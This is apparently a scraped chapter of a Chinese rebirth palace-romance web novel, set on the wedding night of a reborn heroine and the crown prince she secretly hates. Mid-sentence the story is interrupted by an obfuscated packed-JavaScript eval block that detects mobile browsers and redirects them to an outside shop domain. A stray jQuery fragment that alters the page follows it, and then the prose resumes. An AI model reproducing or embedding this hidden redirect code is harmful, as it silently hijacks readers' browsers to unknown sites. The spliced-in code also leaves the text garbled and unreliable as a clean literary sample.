走到门边,解游停下脚步,并未回头:
“今日礼仪繁多,你定然疲惫,来日方长,不必拘泥俗礼。”
说罢,便推门而出,身影消失在门外长廊的阴影中。殿内只剩下时徽予和几个屏息凝神的宫女,红烛静静燃烧,奢华喜庆的洞房,此刻却弥漫着一种诡异的寂静和疏离。
他竟然没有留下,这和前世完全不同,他这是何意?
时徽予缓缓放下酒杯,指尖摩挲着光滑的杯壁。前世的新婚之夜,他虽也温存体贴,却并未离开,这一世的变化,是巧合,还是他有意为之。
她环顾这间华丽的寝殿,目光最后落在那张铺着百子千孙被的婚床上。百子千孙,多么讽刺的寓意,前世她渴求不得,今生她已不屑一顾,甚至深恶痛绝。
这场被无数人艳羡的婚礼,于她而言,不过是又一场戏的开幕。而她的夫君,那位完美的太子殿下,已然在戏台上,演得滴水不漏。
时徽予独自坐在满室刺目的红艳中,指尖冰凉,也好,她也不需与这仇敌演绎什么新婚燕尔。正欲唤人卸妆更衣,殿门却在这寂静里,又被轻轻推开了。
脚步声去而复返,沉稳,却比方才急促了些许。她抬眼望去,只见解游去而复返,身上仍是大红喜服,只是外袍的系带松了些,方才那刻意维持的温润似被夜风吹散,眼底涌动着浓稠如墨的情绪。引珠带着侍女们识趣地退下,他反手合上门,将外间的寒凉与窥探一并隔绝。
殿内红烛高烧,光影在他脸上跳跃,明明灭灭。
“徽予。”
他唤她,径直走到她面前,俯身,将她圈在一方带着他气息的阴影里。龙涎香混合着淡淡的酒气,侵袭着她的感官。
时徽予身体瞬间绷紧,指尖下意识地揪紧了身下光滑的绸缎。她强迫自己放松,仰起脸,露出一个带着符合她此刻年龄的表情:
“殿下,您怎么又回来了?”
解游没有回答,只是深深地凝视着她。他的目光不再仅仅是温柔,而像带着钩子,细细描摹她的眉、她的眼、她涂着艳丽口脂的唇,最后落在她微微敞开的衣领下,那一小段白皙脆弱的脖颈上。
他的眼神那样专注,时徽予被他看得心头发慌,那目光太过复杂,几乎要击穿她辛苦维持的伪装。前世的解游从不曾将心中的情绪如此袒露人前,这次是怎么了。
她垂下眼睫,试图躲避。
“真美。”
他低叹一声,气息拂过她的额发,带着灼人的温度。指尖抬起,解游轻轻碰了碰她颊边一缕散落的发丝,动作温柔得像怕碰碎了瓷器。
“我的徽予,今夜真美。”
时徽予心尖一颤,前世他曾无数次这般看着她,然后将她拥入怀中,给予她无尽的温存。恨意与一种近乎本能的悸动,在她胸腔里激烈冲撞,让她一时竟说不出话。
“殿下...”
她声音微颤,不知是伪装,还是真的情动于这虚假的深情。
“别叫我殿下。”
他忽然打断她,指尖顺着她的脸颊滑到下颌,轻轻抬起她的脸,迫使她再次与他对视。
“叫我无端。”
他的拇指摩挲着她的下唇,将那抹艳红揉得有些晕开,眼神幽深如夜。时徽予勉强扯动嘴角,露出一个带着羞怯和试探的笑:
“无端。”
这一声呼唤,仿佛按下了什么隐秘的开关,解游不再犹豫,低头吻上了她的唇。
起初是轻柔的,带着小心翼翼的珍重,如同细品一坛陈年旧酿,但没过多久,那轻柔便逐渐失了分寸,演变成一种不由分说的探寻。他的唇拂过她的唇角,带着不容回避的执意,步步紧逼。
酒气混着他的气息,密密匝匝地笼罩下来,让她无处可逃。
时徽予始终绷紧了肩背,前世他们不是没有过亲近的时刻,但此刻这般光景,或许是因着那些积攒的旧事,让她心里无端生出寒意。解游的手臂牢牢扣住她的腰,将她带向自己身前,隔着厚实的衣料,她仍能感到他胸膛间沉沉的心跳,以及他身上散出的滚烫温度。
她想起自己原本的打算,无非是顺着他的意,装作配合,好从容布局。她闭上眼,暗暗告诉自己,要忍,要柔,再睁开时,眼底便浮起一层薄薄的水雾,仿佛真被他那股热烈搅得心神不宁。
她怯怯地抬起手,搭上他的后颈,带着几分笨拙,试着回应他的靠近。
解游的呼吸陡然重了几分,似乎心头有什么正剧烈翻涌,随即更紧地揽住她,俯下身去,像是要将她整个人纳入骨血之中。
他的手掌缓缓抚过时徽予的背脊,即便是隔着那件厚重的翟衣,她也能觉出那掌心透出的温热沉沉的力道。
不知不觉间,两人已一同陷进了铺着百子千孙被的大红婚床上,凤冠早已被人摘下,青丝散落在猩红的锦缎之上,与他不知何时松散下来的长发交缠在一处,黑的与黑的融为一体,分不清哪一缕是她的,哪一缕是他的。
解游稍稍撑起身,一面低垂着眼看她,一面用手指去寻她翟衣上那些繁复的系带与扣襻。他的动作里带着几分急迫,仿佛这身隆重的礼服成了碍事的屏障,让他恨不得立时除去。几番摸索,衣带终于松脱,层层叠叠的嫁衣被缓缓褪下,露出里面素白的中衣,和少女清瘦的轮廓。
红烛的光晕笼罩着床榻,给一切都镀上了一层温暖的色泽。时徽予的肌肤胜雪,在黑发与红被的映衬下,更显出一种惊心动魄的美。
解游的目光凝滞了片刻,呼吸骤然重了几分。帐顶绣着鸳鸯戏水的花样,金色丝线在烛火映照下明明灭灭,那对鸳鸯交颈而卧,翅羽相叠,像是要游进一片永不干涸的春水里去。
时徽予顺着他的目光往上瞥了一眼,心头莫名涌上一阵酸涩。前世她嫁他时,这床帐也是这一顶,鸳鸯也是这一对,可后来那些年,她再没仔细看过这绣纹一眼。
“徽予。”
他唤她,声音低低的,像是从胸腔深处一点点挤出来的。时徽予的身体忍不住微微颤抖,这反应一半是伪装,一半却是身体被这熟悉的声音唤起的记忆。她知道他是仇人,是亲手毁掉她一切的男人,可这具身体却还记得他们曾幸福过的记忆。
窗外不知何时起了风,吹得院中那株老槐树沙沙作响,几片新叶贴在窗纸上,投下摇摇晃晃的影子。
时徽予偏过头去看那影子,看它们在窗纸上忽大忽小、忽聚忽散,她忽然想,若此刻有人从窗外走过,隔着这扇菱花窗往里看,大约只会看见一对新人并肩靠在帐中,红烛高烧,锦被堆叠,再寻常不过的新婚光景。可那窗纸上晃动的叶影,却像极她此刻心里那些七上八下的念头,看似轻飘飘的,实则每一片都带着棱角。
解游没有再动,只静静地坐在床沿,低垂着眼看她散开的发尾。乌黑的发丝在猩红锦缎上蜿蜒,蜿蜒到枕边,蜿蜒到他搁在膝上的手边,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816135|211057||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抬手轻轻拢了一缕,放在掌心里看了许久。
时徽予不知他此刻在想什么,她只觉得自己像被一汪温水浸着,明明不该觉得舒适,可那水温恰好,暖意从脚底一寸一寸往上爬,爬过脚踝,爬过膝盖,最后停在心口,堵得她有些喘不过气来。
她深吸一口气,那沉水香便顺着鼻腔沉入肺腑,凉丝丝的,压住了心底翻涌的波澜。她偏过头,目光越过解游的肩头,落在帐外那盏红烛上。
烛火正烧到最旺处,烛泪一滴一滴滚落下来,在烛台上堆成一小团温热的琥珀色。她想,蜡烛烧到尽头,也不过化成这一滩泪,可人心里的那些旧恨新愁,却不知要烧到哪一年哪一月才肯罢休。
“记得那株海棠吗?”
她忽然开口,解游微微一愣,时徽予没有看他,目光仍落在那烛火上,自顾自地说下去:
“丞相府后院那株海棠树,每年春天都会开满树,花瓣落下来,很美。”
解游没有答话,只是将手中的那缕发丝轻轻放下,替她将滑落到臂弯的素白中衣往上拢了拢,遮住她微凉的肩头。他的动作很轻,时徽予的眼眶却忽然热了,她别开脸,把那股热意逼回去,可喉咙里还是哽了一下。
他看着她,她的妻子,二人皆无言。
不多时,他吻了上去,先试探性地,然后,是侵略贪婪的。
许久后。
“睡吧。”
解游低声说着,有些沙哑:
“明日还要早起,不好顶着倦容去见人。”
他伸手,将垂落的锦帐拢好,帐外的烛光便被隔绝了大半,帐内暗下来,只余一层昏昏的暖色。时徽予闭上眼,能听见他躺下来时衣料与锦褥摩擦的窸窣声,能闻到他袖间残留的熏香,混着窗外飘进来的槐花气息,竟让她觉得安稳了几分。
夜风从窗缝里钻进来,吹得帐角轻轻晃了晃,时徽予把手缩回被褥里,指尖无意间碰到他的手背,两个人都没有缩回去。就那么静静地贴着,像两片落在同一处水面的叶子,随着夜风微微地靠在一起。
她想起很久以前,那时她还不是皇后,只是一个十六岁的少女。那人一身白袍,就站在花影里对她笑,满树繁花落了他一身,他也不掸,就那么笑着朝她走过来。
一滴泪从她眼角滑落,没入鬓发,她抬起手,用指腹悄悄揩去了。
解游似乎察觉了什么,侧过身来,在昏暗的帐中看了她片刻,他伸出手替她把被角掖好,却不说话,只是把手收回,安安稳稳地搁在自己身侧,呼吸渐渐平稳下来。
帐内很静,静得能听见窗外远远传来的更鼓声,一下,两下,三下。
时徽予听着那更声,觉得自己的心跳也渐渐跟着那节奏缓了下来,她想,那些恨意、算计、旧怨,让她每一份每一秒都在煎熬,今夜暂且让她喘口气,明日再说罢,虽然如此想会让她愧疚,可若不如此,她怕是难以承受了。
不知过了多久,她终于合上了眼。意识沉下去之前,她模糊地想,海棠花大约快谢了,明年花开之时,希望她还有机会去看一看。
“徽予。”
“嗯。”
她终于应了一声。
他没有再说话,只是将她抱得更紧了些。帐中很安静,时徽予闭上眼,听着他的心跳,他的呼吸,不知什么时候,她也睡着了。没有梦,只有一片无边无际的黑暗。
帐外,更漏滴答,烛火噼啪,长夜未央。